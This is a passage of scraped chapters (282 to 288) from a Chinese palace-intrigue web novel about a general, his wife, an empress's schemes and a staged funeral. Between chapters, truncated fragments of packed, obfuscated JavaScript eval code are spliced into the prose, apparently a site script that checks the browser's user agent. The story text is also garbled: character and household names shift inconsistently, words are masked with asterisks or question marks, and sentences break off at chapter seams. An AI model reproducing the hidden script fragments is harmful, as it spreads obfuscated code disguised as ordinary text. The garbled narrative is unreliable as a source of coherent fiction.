0=7.0.6();b(/a|9|1|2|5|4|3|c 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他伸手揉了揉茅清兮的头发,语气温柔地说:“良药苦口利于病,乖,喝完这碗汤,你的伤才能好得快。 第二百八十二章 ”上元节刚过,喜庆劲儿还没散,朝堂上就炸开了锅。 起因是御史的一道奏折,参了五公主一本。 奏折上写得有鼻子有眼,说五公主在城外的别庄里养面首,还成天跟一群人鬼混,简直把皇家体统丢到了阴沟里。 消息跟长了腿似的,飞速传遍了宫里宫外。 五公主是谁?那是皇上的亲闺女! 这事儿一出,皇家的脸面还往哪儿搁? 圣上气得胡子都翘起来了,当场就下了旨,让五公主闭门思过,抄经书,好好反省。 五公主的亲娘宁妃,一听这消息,两眼一翻,差点儿没直接厥过去。 等她缓过这口气,连滚带爬地就往林皇后的寝宫跑,鞋子都跑掉了一只。 宁妃“扑通”一声跪在林皇后脚边,声泪俱下: “皇后娘娘,您可得救救雅婷啊!她从小就乖巧懂事,怎么可能做出这种荒唐事?那庄子……那庄子是臣妾的弟弟孝敬她的,就是想让她出宫散心的时候有个落脚的地方,绝对没养什么面首啊……” 宁妃哭得一把鼻涕一把泪,妆都哭花了。 林皇后坐在椅子上,居高临下地看着她,眼神冰冷。 林皇后可没心思听宁妃在这儿哭诉,她更关心这事儿背后的原因。 这宁妃,平日里看着是胆小怕事,不过胜在听话,用起来还算顺手。 “行了,你也别哭了。”林皇后不耐烦地打断她,“你仔细想想,近来是不是惹到了哪位大佬?不然,御史的奏折怎么就偏偏参了你女儿?” 宁妃听了,哭声一顿,开始绞尽脑汁地回想。 可她在宫里一向小心谨慎,除了伺候皇上,就是待在自己宫里,哪儿敢得罪人啊? 突然,她脑子里灵光一闪,想起了一件事。 大概半个月前,为了自家兄弟的事,她跟皇上讲了个故事。 故事里,她娘家一个表兄的儿子,看上了一个貌美如花的女子。 那小子被迷得五迷三道的,整天不学无术,就知道围着那女子转。 表兄愁得不行,后来有人给他出主意,让他花钱把那女子打发走。 别说,这法子还真管用,他儿子消沉了一阵子,就又重新振作起来了。 宁妃讲这个故事,其实是林皇后授意的。 她在宫里待久了,早就学会了看眼色行事。 果然没多久,冀容白的夫人茅清兮就在宫里出了事。 宁妃的表兄只是花钱打发了那个女子,可当今天子,却是想要茅清兮的命。 茅清兮出事以后,宁妃吓得够呛,始终不敢细究,就当是自己讲了个故事,跟自己没关系。 可现在,她女儿出事了! 她再迟钝也明白了过来,这是遭了报应! 宁妃的脸色刷白,一把抓住林皇后的衣袖,哆哆嗦嗦地说: “是……是苏将军……一定是苏将军……” 就在这时,林皇后身边的嬷嬷急匆匆地走了进来。 林皇后一看她那脸色,心就沉了下去:“出什么事了?” 嬷嬷瞥了宁妃一眼,欲言又止。 林皇后心里更慌了,挥了挥手,让宁妃先出去。 宁妃哪儿敢走,两只手死死地抓着林皇后的衣袖不放。 嬷嬷没法子,只能附在林皇后耳边,用极低的声音说了几句话。 林皇后听完,脸色大变,猛地站起身来,指着宁妃的鼻子骂道: “蠢货!你干的好事!” 宁妃吓得一屁股坐在地上,浑身发抖。 她这才意识到,冀容白不仅报复了她,还报复了林皇后! 难道,冀容白早就知道了她在皇上枕边说的那些话,也知道了是皇后指使她的? 这下可怎么办?宁妃彻底慌了神,脑子里一片空白。 她只能像抓住救命稻草一样,死死地抱着林皇后的腿,哭喊道: “皇后娘娘,您一定要救救臣妾的女儿啊!雅婷她还小,不能就这么毁了!苏将军那边……臣妾可以去给他赔礼道歉……” “道歉?你拿什么道歉?!” 林皇后一脚踢开宁妃,声音尖利得像刀子一样: “本宫是皇后,是这后宫之主!他冀容白算个什么东西,也敢在本宫头上动土!” 林皇后气得浑身发抖,指甲都掐进了肉里。 她安插在宫里的那些眼线,全都被冀容白给拔了! 这帮后宫杂役虽然微不足道,却是她掌控后宫的耳目。 尤其是伺候在圣上身边的那几个人,那可是她花了十多年的心血才安**去的,除开贴身伺候的嬷嬷,谁都不知道! 现在,这些人全都被司礼监给抓了,而且罪证确凿,连她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林皇后把信交给心腹,让他立刻送出宫去。 第二百八十三章 她仿佛已经看到了林臧雨的死期,嘴角忍不住露出了得意的笑容。 就在这时,嬷嬷急匆匆地走了进来,脸上带着喜色。 林皇后眼睛一亮,急忙问道: “怎么样?是不是有消息了?” 嬷嬷跪下禀报:“娘娘,大喜!冀家来人报丧,说是林臧雨……被烧死在佛堂里了!” 林皇后一听,腾地一下从椅子上站了起来,声音都变了调: “你说什么?!再说一遍!” 嬷嬷又重复了一遍:“冀家来人报丧,说是林臧雨被烧死在佛堂里了,烧成了另一个模样,冀国公都认不出这张脸!” 林皇后听完,只觉得一股热血直冲头顶,整个人都飘飘然起来。 她仰天大笑,声音里充满了疯狂和得意: “好!好!好!真是天助我也!林臧雨啊林臧雨,你也有今天!这下,我看谁还能跟我争!”夜幕低垂,京城的上空却被一片火光映得通红。 “快看!洛国公府方向,怕是走水了!” “这火势,隔着几条街都能瞧见,怕是要烧到天亮!” “也不知是哪一房遭了殃……” “听说是东苑,冀大夫人……人就这么没了。” “冀大夫人?这是哪位贵人,怎的从未听过?” “这位夫人常年在佛堂清修,不怎么见外客。但要说起当年,在安州,那可是远近闻名的美人。” “可惜红颜薄命……” “是啊,可怜苏将军刚立战功,母亲就……” 洛国公府的这场大火,迅速成了京城百姓们新的谈资。 不过,这位冀大夫人平日里深居简出,大家议论几日,也就渐渐淡了。 洛国公府内,丧事已经紧锣密鼓地操办起来。 灵堂就设在正厅,云华寺的主持亲自前来,诵经超度。 长明灯昼夜不息,本该由冀容白守灵,可如今,跪在灵前的却是冀徒临。 他一下又一下地磕着头,额头都已红肿。 前来吊唁的宾客们见了,无不交口称赞冀徒临的孝顺。 两相对比之下,冀容白的名声,更是一落千丈。 “母亲过世,他竟连灵堂都不肯来,这算什么儿子!” 族中一位长辈实在看不下去,忍不住出声斥责。 只是,无人应和,这斥责声显得格外刺耳,最后也只得不了了之。 澜府,书房之中。 摇曳的烛光下,冀容白与茅清兮相对而坐,脸色都有些沉重。 富辰快步走进,将一个密封的信笺递给冀容白。 “这是?”冀容白挑眉。 “属下无能。昨夜火起仓促,线人只来得及传出这几个字。” 富辰的声音里带着几分懊恼。 冀容白拆开信笺,只见上面只有潦草的四个字: “火,非意外。” 他将信笺递给茅清兮。 茅清兮扫了一眼,眉头紧蹙。 原本还抱着一丝侥幸,或许只是意外失火。 如今看来…… 冀容白将信笺揉成一团,扔进了一旁的火盆里。 火焰瞬间吞噬了纸团,化为灰烬。 “去查,昨夜进出秦府的所有人,一个都不要漏掉。”他沉声吩咐。 “是!”富辰领命,转身离去。 茅清兮略一沉吟,开口道:“富峻。” “属下在。”富峻上前一步。 “我要你查的华家,可有眉目了?” “回夫人,这是玄月门查到的所有关于华家的资料。” 富峻将一本厚厚的册子呈了上来。 茅清兮接过,缓缓翻开。 这册子里的内容,比她想象的还要详细。 华家,书香世家。 历朝历代,都有族人在朝为官。 然而,官职都不高,多为外放。 华家祖籍安州,世代定居于此。 前朝末年,天下大乱。今上起兵,华家各地的族人纷纷响应,暗中献城。 新朝建立后,这些人却并未居功自傲,依旧恪守本分。 册子中,详细记载了华家官员的任职情况,巨细无遗。 而在安州的华家本家,更是低调得令人惊讶。 他们读书,清谈,科考,一切都中规中矩。 族中子弟的科考成绩,也总是恰好能跻身三甲。 然后,外放为官。 即便是出了位皇后,华家也依旧低调如常。 富辰的调查里,竟寻不到一件华家人仗势欺人的事。 这怎么可能? 一个大家族,人口众多,总会有那么几个不成器的。 就算不做出什么伤天害理的大恶,但仗势贪点小便宜,也是常有的事。 可偏偏,华家就没有。 甚至那些在外地做官的,也都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看见冀容白,嘴唇翕动了几下,仿佛有千言万语哽在喉头,最终却只是化作一声几不可闻的叹息,像一片枯叶般飘落在风中。 “进去吧,”冀徒荣的声音沙哑得像是被砂纸磨过,“给你母亲… 第二百八十四章 …上柱香。” 他顿了顿,喉结艰难地滚动了一下,像是用尽了全身力气,才从干涩的喉咙里挤出几个字:“她……终究是你的……生母。” 冀容白看着他鬓边那几缕刺目的白发,深邃的眼眸中,晦暗不明,如暴风雨来临前的海面,平静之下,暗潮汹涌。 他没有应声,只是微微颔首,越过冀徒荣,径直走进了秦府。 孝幡低垂,如巨大的白色翅膀,无力地耷拉着。 白绸漫卷,裹挟着悲伤与压抑,在风中发出呜咽。 秦府上下,一片缟素,仿佛被一场突如其来的暴雪所覆盖。 空气中弥漫着纸钱燃烧的味道,辛辣刺鼻,混杂着香烛的烟气,沉闷得让人喘不过气。 灵堂设在正厅。 男眷在外,迎候前来吊唁的宾客。 女眷则隔着一道绣着大幅墨竹的屏风,在内室守灵。 冀容白一出现,所有的目光都如聚光灯般落在了他身上。 那些目光中,有同情,有惋惜,有幸灾乐祸,也有探究,像是一张无形的网,将他笼罩其中。 冀徒临眼眶通红,像是刚刚哭过一场,他快步迎了上来,脚步虚浮,声音哽咽: “大哥,你可算来了……大伯母她……她弥留之际,最想见的,就是你……” 说着,他摇摇欲坠,似乎是跪久了,双腿发麻,有些支撑不住。 他一手扶着身旁的椅子,勉强站稳。 众人见状,无不感叹他的孝心,纷纷投去赞许的目光。 冀容白淡淡扫了他一眼,那一眼,冰冷如西伯利亚的寒风,锐利如出鞘的利剑。 像是一把锋利的刀,无情地刺破了冀徒临精心伪装的面具,将他内心的虚伪与算计暴露无遗。 冀徒临原本还想再说些什么,此刻却像是被一只无形的手扼住了喉咙,原本准备好的台词,一个字也吐不出来,只能僵硬地站在原地。 冀容白没有理会他,径直走到灵堂前。 黑色的棺木静静地躺在那里,像一个巨大的黑洞,吞噬了一切光明与希望,冰冷,沉重,散发着死亡的气息。 他甚至不知道,里面躺着的,究竟是谁。 是那个从未给过他一丝温暖的生母? 还是一个被命运摆布的陌生人? 可所有人都看着他。 他是冀容白,是林臧雨名义上的儿子,是这洛国公府名正言顺的继承人。 他不能退缩,不能逃避。 他必须跪。 冀容白缓缓跪下,脊背挺直,像一杆在狂风中傲然挺立的标枪,宁折不弯。 茅清兮在他身旁跪了下来,与他并肩,无声地支持他。 三炷清香,缓缓燃起,在烛火的映照下,投下跳跃的影子。 青烟袅袅,如丝如缕,缓缓上升,模糊了冀容白冷峻的面容,也模糊了他眼底深藏的复杂情绪。 他拜了三拜,动作沉稳,一丝不苟,仿佛在完成一项庄严的仪式。 然后,他将香**香炉,火星闪烁了几下,缓缓熄灭。 冀徒临的声音打破了灵堂的寂静,像是用指甲刮过黑板,尖锐刺耳。 “大哥既然回来了,这守灵的重任,自然要交给大哥。我和大伯,也好专心招待前来吊唁的宾客,不至于怠慢了。” 这话看似合情合理,可谁听不出其中的算计? 秦府上下,谁不知道冀容白和林臧雨的关系? 说是母子,实则比陌生人还不如。 林臧雨活着的时候,对冀容白不闻不问,任由他自生自灭。 冀容白一步步走到今天,靠的全是自己。 如今却要他来为这个从未给过他一丝温暖的女人守灵,这不是故意给他难堪吗? 冀徒临的眼底闪过一丝得意,他在等,等着冀容白爆发,等着他拂袖而去。 只要冀容白敢这样做,他就有把握,让“不孝”的罪名,像狗皮膏药一样,牢牢地贴在冀容白身上,让他永远也撕不下来。 但冀容白只是沉默。 他像一块沉默的磐石,静静地跪在那里,一动不动。 仿佛周遭的一切,都与他无关。 冀徒临暗自咬牙,心中一阵气闷。 茅清兮作为女眷,去了内室。 屏风后,冀家的女眷们或坐或跪,低声说着话。 与其说是守灵,不如说是一场无聊的社交。 真正为林臧雨的死感到悲伤的,几乎没有。 大家脸上都带着几分敷衍,几分麻木,甚至还有几分……期待? 茅清兮的到来,像是一颗石子投入了平静的湖面,激起了一阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冀二夫人满意地点了点头,又扫了茅清兮一眼,那眼神,像是在警告她不要多管闲事。 第二百八十五章 然后,她转身离开了,留下冀晚棠和茅清兮大眼瞪小眼。 冀晚棠在茅清兮身旁跪下,膝盖刚一着地,便忍不住“哎哟”一声叫了出来,疼得她直抽冷气。 “装什么装?”茅清兮冷冷地瞥了她一眼,语气中带着一丝不屑,“又不是没跪过。” 冀晚棠被噎了一下,脸色一阵青一阵白。 她狠狠地瞪了茅清兮一眼,却不敢再说什么。 她算是看出来了,茅清兮可不是什么好惹的主儿。 自己要是再不知好歹,指不定会吃什么亏呢。 她强忍着膝盖的疼痛,在心里把茅清兮骂了个狗血淋头。 可面上却不敢露出丝毫的不满,只能装出一副乖巧的样子。 可她这副身子骨,早就被娇惯坏了,哪里受得了这个罪? 没过多久,她就觉得膝盖像是被针扎一样,疼得她钻心。 她偷偷地揉着膝盖,心里把这守灵的规矩骂了个千百遍。 又忍不住在心里埋怨起冀二夫人来。 都怪她,非要自己来这里受罪! 嫁出去的女儿泼出去的水,她又不是不知道! 在冀家,她永远都低人一等。 就连回娘家住几天,都要看别人的脸色。 凭什么? 她越想越气,越想越委屈,眼泪都快掉下来了。 她偷偷地瞄了一眼茅清兮,见她依旧跪得笔直,一动不动,心中更是气不打一处来。 “装模作样,给谁看呢?”她忍不住小声嘀咕了一句。 见茅清兮没有理会她,她胆子大了些,从怀里掏出一个油纸包,小心翼翼地打开,里面是几块精致的点心。 她捻起一块,慢慢地送进嘴里,细嚼慢咽,仿佛在品尝什么山珍海味。 这可是她特意让厨房做的,味道可比李家那些粗茶淡饭强多了。 自从嫁到李家,她就没过过一天好日子。 李家那个穷酸样,连像样的吃食都拿不出来。 每天都是些清粥小菜,寡淡无味,吃得她都快吐了。 还是秦府好啊,想吃什么就有什么。 要不是冀二夫人非要她回李家,她才不愿意离开呢。 美其名曰是让她回去尽孝道,可谁不知道,她就是怕自己抢了她的风头,夺了她的权? 冀晚棠越想越得意,忍不住哼起了小曲。 “你倒是挺会享受的。”茅清兮的声音突然响起,冰冷而锐利,像一把出鞘的利剑。 冀晚棠吓了一跳,手中的点心差点掉在地上。 她慌忙抬起头,正好对上茅清兮那双冰冷的眸子,那眼神,像是能洞穿人心,让她无所遁形。 她心里一阵发虚,强装镇定地说道:“我……我饿了,吃点东西怎么了?” “饿了?”茅清兮冷笑一声,“守灵的时候吃东西,你倒是挺有规矩的。” “我……”冀晚棠一时语塞,不知道该如何反驳。 她心虚地看了看四周,见没有人注意到这边,这才稍稍松了口气。 “你少管我!”她恼羞成怒地说道,“我爱吃什么就吃什么,跟你有什么关系?” “跟我没关系,跟死去的冀大夫人,总该有些关系吧?”茅清兮的声音更冷了,“你在这里吃东西,是对死者的不敬,也是对冀家的侮辱。” 冀晚棠的脸色顿时变得惨白,她没想到,茅清兮竟然会把事情上升到这个高度。 她张了张嘴,想要辩解,却发现自己根本无力反驳。 “我……我……”她支支吾吾了半天,也没说出一句完整的话来。 “把屏风推开。”茅清兮突然说道,声音不大,却带着不容置疑的威严。 “什么?”冀晚棠愣住了,她怀疑自己听错了。 “我说,把屏风推开。”茅清兮重复了一遍,语气更加冰冷。 “你疯了吗?”冀晚棠惊叫道,“要是让别人看到我在这里吃东西,我就完了!” “你现在知道怕了?”茅清兮冷冷地看着她,“早知今日,何必当初?” “我……”冀晚棠还想说什么,却被茅清兮打断了。 “推开。”茅清兮的声音虽然不大,但每一个字,都像是一把重锤,狠狠地砸在冀晚棠的心上。 冀晚棠被这股气势所慑,竟然不由自主地照做了。 她颤抖着双手,缓缓地推开了屏风,动作缓慢而僵硬,像一个提线木偶。 屏风“吱呀”一声,缓缓打开,露出了里面的景象。 冀晚棠坐在地上,手里拿着一块点心,正准备往嘴里送。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“晚棠!”她一眼瞧见女儿被粗鲁地钳制,心疼得肝胆俱裂,“老爷,这是做什么? 第二百八十六章 晚棠她年纪小,不懂事,您别跟她一般见识……” “她不懂事?我看是让你给惯坏了!”冀徒荣冷笑一声,眼中寒芒闪烁,“昨儿个在李家吃糠咽菜,今儿就饿成这样了?我看她分明是故意来灵堂捣乱,让**也不得安生!” “不是的,大哥,您听我解释,这里面肯定有误会……”冀二夫人还想替女儿争辩。 “够了!”冀徒临却猛地厉声喝止,一把拽住了她。 不能再火上浇油了! 没瞧见大伯父都气成什么样了吗? 这当口,越描越黑,越说越错! 冀徒临心里又急又恼,对自己这个不识大体的母亲,生出了一股难以遏制的怨气。 妹妹捅出这么大的篓子,把冀家的脸都丢尽了,他以后在京城那些公子哥儿面前,还怎么做人? 可母亲呢?只知道护着妹妹,全然不顾他的死活! 从前就是这样,为了冀晚棠那些乱七八糟的破事,**受了多少冷嘲热讽。 如今…… 冀徒临的耳边,仿佛已经响起了那些尖酸刻薄的嘲笑。 冀二夫人却浑然不觉,她挣扎着,还想替女儿求情:“老爷,晚棠她真的是一时糊涂,您就饶了她这回吧……” “糊涂?”冀徒荣怒极反笑,像是听到了天大的笑话,“我看她是无法无天!从今往后,这周夫人,就别再登我冀家的门了!谁胆敢擅自让她踏入此地,就给我一起滚蛋!” 他猛地一甩袖子。 两个婆子立刻心领神会,直接捂住了冀晚棠的嘴,强行把她拖了出去。 “呜……呜……”冀晚棠拼命挣扎,却只能发出含糊不清的呜咽。 冀二夫人面如死灰,浑身瘫软。 众目睽睽之下,丈夫这番话,无疑是把冀晚棠彻底扫地出门! 她腿一软,差点儿没站住。 “母亲!”冀徒临连忙扶住她,心中又急又怒,却又无计可施。 这场闹剧,虽然只持续了片刻,却像是一记响亮的耳光,狠狠抽在了冀家的脸上。 前来吊唁的宾客们,交头接耳,议论纷纷。 有人想把矛头引向冀容白,但看到他腰杆笔直,默不作声地跪在灵前,而屏风后的明九娘,也面露悲戚,便都把那些闲言碎语,吞回了肚子里。 夜幕低垂。 冀徒荣独自站在灵堂里,形单影只。 那个女人,就这么撒手人寰了。 他心里一直埋怨着她,恨过她,甚至刻意冷落了她许多年。 可他们,终究是结发夫妻啊…… 他还记得,当年他骑着高头大马,去迎亲时的盛况。 十里红妆,鼓乐喧天。 他满心雀跃,觉得自己是这世上最幸运的儿郎。 他牵着红绸那一头,牵着她越过火盆,一步一步,走向他们共同的未来。 他终于迎娶了她,那个让他一见钟情的安州第一美人。 从今往后,她是他的妻,他们将相濡以沫,举案齐眉。 可是,为什么…… 洞房花烛夜,他满怀憧憬地推开喜房的门,映入眼帘的,却是她和另一个男人,一丝不挂地翻滚在床榻之上! 那一刹那,他只觉得五雷轰顶,所有的欢喜,都化为了熊熊燃烧的怒火和刻骨的仇恨。 他恨不得将这对狗男女千刀万剐,挫骨扬灰! 然而,他不能。 那个男人,他得罪不起。 纵然在新婚之夜,受了这般奇耻大辱,他也只能打落牙齿和血吞。 这一忍,便是二十载。 二十载光阴,弹指一挥间…… 他以为,他会恨她入骨,至死方休。 可当她真的香消玉殒,冀徒荣却发现,自己的心里,竟然空空荡荡,像是缺了一块。 这些年,仿佛只是一场光怪陆离的梦。 梦醒了,她也烟消云散了。 “老爷……”一个小厮急匆匆地走进来,附在他耳边,低声说了几句。 冀徒荣的脸色,骤然剧变。 他的眼神,阴冷得像是淬了毒的刀锋,令人不寒而栗。 但他很快便敛去了所有情绪,像是什么都没发生过一般,急匆匆地逃离了祭奠之地。 他前脚刚走,冀容白后脚便站了起来。 茅清兮从内室里转出来。 府中女眷早已各自安寝,冀徒临本想留下来守夜,但冀二夫人那边,哭天抢地,还得他去劝慰。 冀容白缓步走到棺木前。 茅清兮心领神会,走到门边望风。 冀容白揭开了棺盖。 过了足足一炷香的工夫,他又缓缓将棺盖合上。 “如何?”茅清兮走过来,轻声问道。 “瞧不出什么破绽。”冀容白摇了摇头,“我与这位母亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“臧雨,我对不住你,我来迟了……”他颤巍巍地伸出手,抚摸着冰凉的棺木,泪水再也控制不住,滚滚而落,“早知今日,当初我就该不顾你的反对,把你强行留在宫里… 第二百八十七章 …” 吉禄林见状,连忙走到冀徒荣身边,压低声音道:“燕大人,您忙了一天,也累了,不如先回去歇着吧。这儿有苏将军在,让他送陛下回宫便是。” 冀徒荣微微颔首,恭敬地行了一礼:“臣,告退。” 他转身离去,步伐沉稳,没有丝毫迟疑。灵堂内,香烛静静燃烧,烟雾缭绕,将气氛烘托得愈发凝重。 吉公公眼角的余光瞥见圣上紧攥的拳头,指节因用力而泛白,心中焦灼如焚。他担心圣上悲恸过度,龙体受损,却又不敢贸然上前劝慰。毕竟,此刻的圣上,完全沉浸在丧母之痛中,任何言语都显得苍白无力,甚至可能适得其反。 吉公公急得额头冒汗,如热锅上的蚂蚁,只得将求助的目光投向冀容白,希望这位与圣上情同手足的将军能有所作为,打破这令人窒息的沉默。 然而,冀容白却仿佛置身事外,垂着眼眸,似乎在思索着什么,完全没有注意到吉公公焦急的眼神,仿佛这灵堂中的一切都与他无关。 时间一分一秒地过去,每一息都像被无限拉长,让人备受煎熬。圣上在灵堂内,已经待了足足一个多时辰,这远远超出了平日的习惯。 吉公公实在等不下去了,他深吸一口气,努力平复着内心的紧张,硬着头皮上前,躬身轻声劝道: “陛下,时辰已经不早了,龙体要紧,不如……先行回宫歇息吧……” 他的嗓音低沉而沙哑,带着一丝不易察觉的颤抖,生怕惊扰了沉浸在悲痛中的圣上。 圣上这才缓缓回神,眼底一片黯然,空洞无光,仿佛失了魂魄一般,让人心疼。 吉公公见状,连忙又劝慰了几句,语气更加轻柔,像是在哄一个受伤的孩子。 圣上的手,这才依依不舍地从冰冷的棺木上移开,每一个动作都显得那么迟缓和无力。 吉公公如释重负,连忙上前小心翼翼地搀扶着圣上向外走去,每一步都走得格外谨慎。 经过冀容白身边时,圣上突然停下脚步,抬起手,轻轻地,却又带着几分沉重地拍了拍他的肩膀,声音沙哑而低沉,像是从喉咙深处挤出来的一般: “如今,这世间……便只剩下我们两人相依为命了。容白,你说……你娘,娘亲是否在九天之上守护着咱们?会保佑我们吗?” 话语中,带着一丝不易察觉的脆弱和迷茫,像是一个迷路的孩子在寻找依靠。 冀容白缓缓抬起眼眸,目光与圣上相接,深邃的眼眸中看不出任何情绪。 他沉默了片刻,嘴角微微上扬,扯出一个略显僵硬的笑容,轻声道: “会的。母亲,她一定会在天上看着我们,守护着大晋。” 虽然语气平淡,却带着一种不容置疑的坚定。 这简短的回答,仿佛带着某种神奇的魔力,瞬间抚平了圣上心中的波澜,驱散了他眼中的阴霾。他脸上的悲戚之色,竟奇迹般地消散了几分,仿佛得到了某种救赎,重新燃起了希望。 圣上再次拍了拍冀容白的肩膀,眼神中多了一丝坚定,没有再说什么,转身离去,步伐也比之前稳健了许多。 脚步声渐渐远去,在空旷的走廊中回荡。 直到圣上和吉公公的身影完全消失在视线中,茅清兮才从屏风后缓缓走出,她一直静静地观察着这一切,心中感慨万千。 冀容白转身,自然而然地牵起她的手,手指轻轻摩挲着她的手背, “走吧,娘子,我们回家。” 语气轻快,仿佛刚才的压抑气氛从未存在过,灵堂里的悲伤与他毫无关系。 茅清兮有些疑惑地眨了眨眼,她侧头看着冀容白, “就这么走了?不需要……还要在此地驻足吗?” 她指了指灵堂的方向,那里还弥漫着淡淡的香烛味, “毕竟,名义上,这可是你的……母亲。若是不守灵,怕是会被那些人说闲话,在朝堂上参你一本吧?” “守着谁?” 冀容白无所谓的挑了挑眉,嘴角勾起一抹嘲讽的弧度, “谁爱守谁守去,与我何干。” 忽然,他话锋一转,凑近茅清兮,压低声音,用只有两人才能听到的声音说道: “娘子,陪我演一出戏,如何?一出……能让所有人都闭嘴的戏。” 语气中带着一丝狡黠,还有一丝不易察觉的兴奋。 茅清兮眨了眨眼,还没反应过来他葫芦里卖的什么药。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那些原本打算来秦府吊唁的人,听说这个消息后,都表示理解,并纷纷感叹冀容白的“孝心可嘉”。 第二百八十八章 毕竟,人已经“病”成这样了,自然无法再接待客人,更不可能守灵了。 冀容白就这么顺理成章地“病倒”了,而且“病”得名正言顺。 他躺在澜府的卧房里,紧闭双眼,脸色苍白如纸,呼吸微弱,一副伤心欲绝、命不久矣的模样。 为了让戏更逼真,更具说服力,他还特意拉着茅清兮的手,不让她离开床前半步,美其名曰:担心她的身体,怕她也伤心过度,累垮了自己。 茅清兮心中暗自好笑,却也只能强忍着笑意,配合着他演这场“苦情戏”。她在心里默默吐槽:这冀容白,不去唱戏真是可惜了。 她脸上做出担忧的神情,眼眶红红的,像是哭过一场。 这两日,她身上的伤已经好了大半,多亏了冀容白“无微不至”的照顾,胃口也恢复了正常。 澜府的大厨,原本就是冀容白从秦府的小厨房里“挖”过来的,手艺精湛,做出的饭菜色香味俱全,十分合茅清兮的口味,让她食指大动。 既然冀容白要装病,她自然也要“尽心尽力”地扮演好一个“贤妻”的角色,好好“照顾”他。 澜府的大门紧闭,将外界的一切喧嚣和窥探都隔绝在外, 外人根本不知道里面发生了什么,只能凭借着各种小道消息猜测纷纷。 冀大夫人出殡那天, 茅清兮“搀扶”着“病弱”的冀容白出现在众人面前,两人的出现,立刻吸引了所有人的目光。 两人都脸色苍白,脚步虚浮,仿佛一阵风就能吹倒,尤其是冀容白,更是需要茅清兮的支撑才能勉强站立。 众人见了,都以为他们是伤心过度所致,纷纷投来同情和关切的目光,窃窃私语,感叹着冀家的不幸。 只有茅清兮自己知道, 她和冀容白的脸上,都涂了厚厚的**,这可不是普通的胭脂水粉,而是专门用来伪装病容的“特效化妆品”。 若是凑近了仔细看,定能看出端倪,发现这不过是一场精心策划的“表演”。 好在,这种场合下,大家都忙着低头抹眼泪,表达自己的哀思,根本没人会注意到他们,更不会有人怀疑这场“戏”的真假。 冀大夫人下葬后,一切归于平静。 冀容白又在床上“躺”了几天,装模作样地“休养生息”,这才“????????????????”好转, 然后“勉强”支撑着去兵部“点卯”,表示自己“忠于职守”,即使“身患重病”也不忘为国效力。 朝堂之上,似乎风平浪静,一切如常,没有任何波澜。 冀容白每天按时去兵部报到, 点完卯就立刻回澜府,从不参与任何官员间的应酬,也拒绝任何形式的宴请。 有些官员不死心,认为冀容白是在故作姿态,于是将请帖直接送到澜府,想试探他的态度。 冀容白也一概不理,全都让门房挡了回去,态度十分坚决。 时间一天天过去,春意渐浓,万物复苏,京城的天气逐渐回暖,阳光也变得明媚起来。 就在这时,北方传来了一个令人震惊的消息,打破了京城表面的平静: 西魏派遣使者前来大晋,而且,随行的还有两位西魏公主,这可不是普通的使臣来访。 西魏此举,意图十分明显,几乎是昭然若揭, 他们想以和亲的方式,换回被鹰羽卫占领的两座城池,用美人计来达到自己的目的。 但凡有点**头脑的人都能看出,这是西魏的缓兵之计。 这可是大晋建国以来,西魏第一次主动低头求和。 消息一出,如同一块巨石投入平静的湖面,激起了千层浪,朝堂之上顿时炸开了锅, 大臣们议论纷纷,各抒己见,整个朝堂就像一个喧闹的菜市场。 朝臣们分成了两派,每一派都觉得自己有理,争得面红耳赤。 “主战派”认为,这是西魏的阴谋,坚决不能归还城池,以免助长西魏的嚣张气焰,让他们得寸进尺。他们觉得,应该趁此机会,一鼓作气,彻底解决西魏这个心腹大患。 “主和派”则认为,这是一个千载难逢的好机会,可以趁机狠狠敲诈西魏一笔,让他们大出血。更何况,西魏连公主都送来和亲了,可见是真的怕了,服软了。 两派争执不下,谁也说服不了谁,朝堂上的气氛越来越紧张,**味十足。 圣上被吵得头疼欲裂,心烦意乱, 他揉了揉紧锁的眉心,试图缓解头痛,将目光投向站在一旁、沉默不语的冀容白,希望他能给出一个答案: “苏将军,你久经沙场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 